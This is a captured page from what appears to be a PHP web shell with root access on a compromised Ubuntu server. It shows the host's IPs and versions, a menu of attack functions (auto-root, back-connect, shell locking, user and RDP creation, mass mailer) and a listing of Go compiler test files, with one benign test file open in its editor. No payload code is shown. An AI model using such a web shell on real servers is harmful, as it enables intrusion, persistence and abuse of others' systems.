Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
go /
types /
testdata /
[ HOME SHELL ]
Name
Size
Permission
Action
blank.src
203
B
-rw-r--r--
builtins.src
23.77
KB
-rw-r--r--
const0.src
8.32
KB
-rw-r--r--
const1.src
8.04
KB
-rw-r--r--
constdecl.src
3.02
KB
-rw-r--r--
conversions.src
1.71
KB
-rw-r--r--
conversions2.src
5.07
KB
-rw-r--r--
cycles.src
2.79
KB
-rw-r--r--
cycles1.src
781
B
-rw-r--r--
cycles2.src
1.21
KB
-rw-r--r--
cycles3.src
675
B
-rw-r--r--
cycles4.src
1.76
KB
-rw-r--r--
cycles5.src
2.91
KB
-rw-r--r--
decls0.src
3.91
KB
-rw-r--r--
decls1.src
3.57
KB
-rw-r--r--
decls2a.src
3.11
KB
-rw-r--r--
decls2b.src
1.87
KB
-rw-r--r--
decls3.src
4.17
KB
-rw-r--r--
decls4.src
2.99
KB
-rw-r--r--
decls5.src
363
B
-rw-r--r--
errors.src
1.9
KB
-rw-r--r--
expr0.src
3.39
KB
-rw-r--r--
expr1.src
2.57
KB
-rw-r--r--
expr2.src
4.63
KB
-rw-r--r--
expr3.src
14.87
KB
-rw-r--r--
gotos.src
5.77
KB
-rw-r--r--
importC.src
1.21
KB
-rw-r--r--
importdecl0a.src
1.24
KB
-rw-r--r--
importdecl0b.src
1000
B
-rw-r--r--
importdecl1a.src
521
B
-rw-r--r--
importdecl1b.src
260
B
-rw-r--r--
init0.src
1.91
KB
-rw-r--r--
init1.src
1.46
KB
-rw-r--r--
init2.src
3.51
KB
-rw-r--r--
issue23203a.src
306
B
-rw-r--r--
issue23203b.src
306
B
-rw-r--r--
issue25008a.src
260
B
-rw-r--r--
issue25008b.src
198
B
-rw-r--r--
issue26390.src
241
B
-rw-r--r--
issue28251.src
1.23
KB
-rw-r--r--
issue6977.src
2.33
KB
-rw-r--r--
issues.src
9.83
KB
-rw-r--r--
labels.src
3.25
KB
-rw-r--r--
literals.src
2.35
KB
-rw-r--r--
methodsets.src
3.16
KB
-rw-r--r--
shifts.src
12.02
KB
-rw-r--r--
stmt0.src
17.79
KB
-rw-r--r--
stmt1.src
3.31
KB
-rw-r--r--
vardecl.src
5.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : labels.src
// Copyright 2011 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // This file is a modified concatenation of the files // $GOROOT/test/label.go and $GOROOT/test/label1.go. package labels var x int func f0() { L1 /* ERROR "label L1 declared but not used" */ : for { } L2 /* ERROR "label L2 declared but not used" */ : select { } L3 /* ERROR "label L3 declared but not used" */ : switch { } L4 /* ERROR "label L4 declared but not used" */ : if true { } L5 /* ERROR "label L5 declared but not used" */ : f0() L6: f0() L6 /* ERROR "label L6 already declared" */ : f0() if x == 20 { goto L6 } L7: for { break L7 break L8 /* ERROR "invalid break label L8" */ } // A label must be directly associated with a switch, select, or // for statement; it cannot be the label of a labeled statement. L7a /* ERROR "declared but not used" */ : L7b: for { break L7a /* ERROR "invalid break label L7a" */ continue L7a /* ERROR "invalid continue label L7a" */ continue L7b } L8: for { if x == 21 { continue L8 continue L7 /* ERROR "invalid continue label L7" */ } } L9: switch { case true: break L9 defalt /* ERROR "label defalt declared but not used" */ : } L10: select { default: break L10 break L9 /* ERROR "invalid break label L9" */ } goto L10a L10a: L10b: select { default: break L10a /* ERROR "invalid break label L10a" */ break L10b continue L10b /* ERROR "invalid continue label L10b" */ } } func f1() { L1: for { if x == 0 { break L1 } if x == 1 { continue L1 } goto L1 } L2: select { default: if x == 0 { break L2 } if x == 1 { continue L2 /* ERROR "invalid continue label L2" */ } goto L2 } L3: switch { case x > 10: if x == 11 { break L3 } if x == 12 { continue L3 /* ERROR "invalid continue label L3" */ } goto L3 } L4: if true { if x == 13 { break L4 /* ERROR "invalid break label L4" */ } if x == 14 { continue L4 /* ERROR "invalid continue label L4" */ } if x == 15 { goto L4 } } L5: f1() if x == 16 { break L5 /* ERROR "invalid break label L5" */ } if x == 17 { continue L5 /* ERROR "invalid continue label L5" */ } if x == 18 { goto L5 } for { if x == 19 { break L1 /* ERROR "invalid break label L1" */ } if x == 20 { continue L1 /* ERROR "invalid continue label L1" */ } if x == 21 { goto L1 } } } // Additional tests not in the original files. func f2() { L1 /* ERROR "label L1 declared but not used" */ : if x == 0 { for { continue L1 /* ERROR "invalid continue label L1" */ } } } func f3() { L1: L2: L3: for { break L1 /* ERROR "invalid break label L1" */ break L2 /* ERROR "invalid break label L2" */ break L3 continue L1 /* ERROR "invalid continue label L1" */ continue L2 /* ERROR "invalid continue label L2" */ continue L3 goto L1 goto L2 goto L3 } } // Blank labels are never declared. func f4() { _: _: // multiple blank labels are ok goto _ /* ERROR "label _ not declared" */ } func f5() { _: for { break _ /* ERROR "invalid break label _" */ continue _ /* ERROR "invalid continue label _" */ } } func f6() { _: switch { default: break _ /* ERROR "invalid break label _" */ } }
Close